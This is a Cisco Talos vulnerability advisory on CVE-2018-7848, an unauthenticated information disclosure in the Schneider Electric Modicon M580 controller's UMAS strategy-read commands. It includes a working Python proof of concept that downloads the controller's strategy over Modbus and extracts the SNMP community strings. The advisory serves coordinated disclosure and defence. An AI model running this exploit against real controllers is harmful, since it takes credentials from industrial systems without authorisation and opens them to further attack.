Talos Vulnerability Report

TALOS-2018-0740

Schneider Electric Modicon M580 UMAS strategy read information disclosure vulnerability

June 10, 2019
CVE Number

CVE-2018-7848

Summary

An exploitable information disclosure vulnerability exists in the UMAS strategy read functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of the programmed strategy, resulting in the disclosure of plaintext read, write, and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

The device supports a UMAS command that allows the user to read block of data from its programmed strategy, indicated by the use of the function code 0x34. When this command is used to read the strategy it is possible to extract the read, write and trap SNMP community strings.

When attempting to read the Modicon M580's programmed strategy, two UMAS commands are used to initialize the operation and request blocks for download. An INITIALIZEDOWNLOAD request must first be sent to instruct the device that requests for individual blocks will be following. Once that command has been successfully received, blocks of data can be requested using the DOWNLOADBLOCK command.

The INITIALIZE_DOWNLOAD request takes the following form:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x33)
D --> Unknown
E --> Block Length         (0x03FB)

The DOWNLOAD_BLOCK request takes the following form:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x34)
D --> Unknown
E --> Block Number

Once downloaded, the strategy can be parsed by inspecting the section header table located shortly after the static string "BFPX." This table contains information about the location of numerous groupings of data, including the SNMP community strings.

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def main():
    rhost = "192.168.10.1"
    rport = 502

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    # INITIALIZE_DOWNLOAD
    mbtcp_fnc = "\x5a"
    session = "\x00"
    umas_fnc = "\x33"
    unknown = "\x00\x01"
    block_len = "\xfb\x03"
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, block_len)
    send_message(sock=s, umas=umas)

    # DOWNLOAD_BLOCK
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x34"
    unknown1  = "\x00\x01"
    strategy = ""
    for i in xrange(0x49):
        block_num = struct.pack("<H", i)
        umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown1, block_num)
        res = send_message(s, umas)
        if struct.unpack("<H", res[12:14])[0] == 0:
            break
        strategy = "%s%s" % (strategy, res[14:])

    # parse the downloaded strategy
    # start by searching for a static heading and cropping down the data
    bfpx_index = strategy.index("BFPX")
    services_section_data = strategy[bfpx_index:]
    bfpx_data_size = 0x38

    # parse the downloaded strategy
    # parse the zip file section header table
    services_data = services_section_data[bfpx_data_size:]
    services_data_len = len(services_data)
    data_offset = 0
    snmp_size = 0
    snmp_offset = 0
    header_size = 0x1c
    headers = 0
    for i in xrange(0, services_data_len, header_size):
        section_name = services_section_data[i+0x01:i+0x10]
        if section_name[:3] == "ST_":
            headers += 1
            if "ST_SNMP" in section_name:
                snmp_size = struct.unpack("<H", services_section_data[i+0x19:i+0x1b])[0]
                snmp_offset = data_offset
            data_offset += struct.unpack("<H", services_section_data[i+0x19:i+0x1b])[0]
    snmp_offset += headers * header_size

    # parse the snmp section data
    snmp_data = services_data[snmp_offset:snmp_offset+snmp_size]
    comm_string_size = 16
    write_offset = 0
    read_offset = write_offset + comm_string_size
    trap_offset = read_offset + comm_string_size

    write = snmp_data[write_offset:read_offset]
    read = snmp_data[read_offset:trap_offset]
    trap = snmp_data[trap_offset:trap_offset+comm_string_size]

    print "Write:\t%s" % (write)
    print "Read:\t%s" % (read)
    print "Trap:\t%s" % (trap)

    # clean up
    s.close()

if __name__ == '__main__':
    main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.